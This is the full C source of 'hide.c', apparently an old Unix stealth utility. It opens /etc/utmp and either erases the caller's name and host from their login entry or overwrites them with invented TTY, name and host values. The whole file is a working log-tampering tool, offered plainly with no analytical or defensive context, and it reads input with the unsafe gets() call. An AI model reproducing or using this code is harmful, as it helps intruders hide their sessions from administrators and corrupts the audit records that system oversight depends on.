/* hide.c */

#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <pwd.h>

#define UTMPFILE        "/etc/utmp"

        FILE    *utmpfile;
        char    *utmp_tmp[10240];

main (argc, argv)
        int     argc;
        char    *argv[];
{

        struct  utmp    *user_slot;
        struct  passwd  *pwd;
        char    line[10], name[10], host[20];
        int     index;

        printf ("Welcome to HIDE !        FORMAT:  hide [-i]\n\n");
        utmpfile = fopen (UTMPFILE, "r+");
        if (utmpfile == NULL)
        {
                printf ("ERROR while opening utmp file... exiting...\n");
                exit ();
        }
        index = ttyslot();                                              /* Get this users utmp index */
        index *= sizeof(struct utmp);   /* 36 */
        fseek(utmpfile, index, 0);
/****  Get real UID  ****/
        pwd = getpwuid (getuid());
        if (pwd == NULL)
                printf ("Who the hell are you???");
        else
        {
        printf ("Real user identity:\n");
        printf ("NAME  %s\n", pwd->pw_name);
        printf (" UID  %d\n", pwd->pw_uid);
        printf (" GID  %d\n\n", pwd->pw_gid);
        }
/****  If ARG1 = "-i" then disappear from utmp  ****/
        if ( (argc>1) && (!strcmp(argv[1], "-i")) )
        {
        index+=8;       /* Rel PNT name */
        fseek(utmpfile, index, 0);
        fwrite ("\000", 8, 1, utmpfile);        /* NO NAME */
        fwrite ("\000", 8, 1, utmpfile);        /* NO HOST */
        fclose(utmpfile);
        printf ("Removed from utmp\n");
        exit();
        }
/****  Change utmp data  ****/
        printf ("Enter new data or return for default:\n");
        fseek(utmpfile, index, 0);      /* Reset file PNT */
        fread(line, 8, 1, utmpfile);    line[8]=NULL;
        fread(name, 8, 1, utmpfile);    name[8]=NULL;
        fread(host, 16, 1, utmpfile);   host[16]=NULL;
        fseek(utmpfile, index, 0);      /* Reset file PNT */
        dinput (" TTY  [%s]%s", line, 8);
        dinput ("NAME  [%s]%s", name, 8);
        dinput ("HOST  [%s]%s", host, 16);
        fclose(utmpfile);
}

/* Data input */
dinput (prompt, string, size)
        char    *prompt;
        char    *string;
        int     size;
{
        char    input[80];
        char    *stat;
        char    space[] = "                              ";

        space[20-strlen(string)] = '\000';
        printf (prompt, string, space);
        stat = gets (input);
        if (strlen(input) > 0)
                fwrite (input, size, 1, utmpfile);
        else
                fseek (utmpfile, size, 1);
}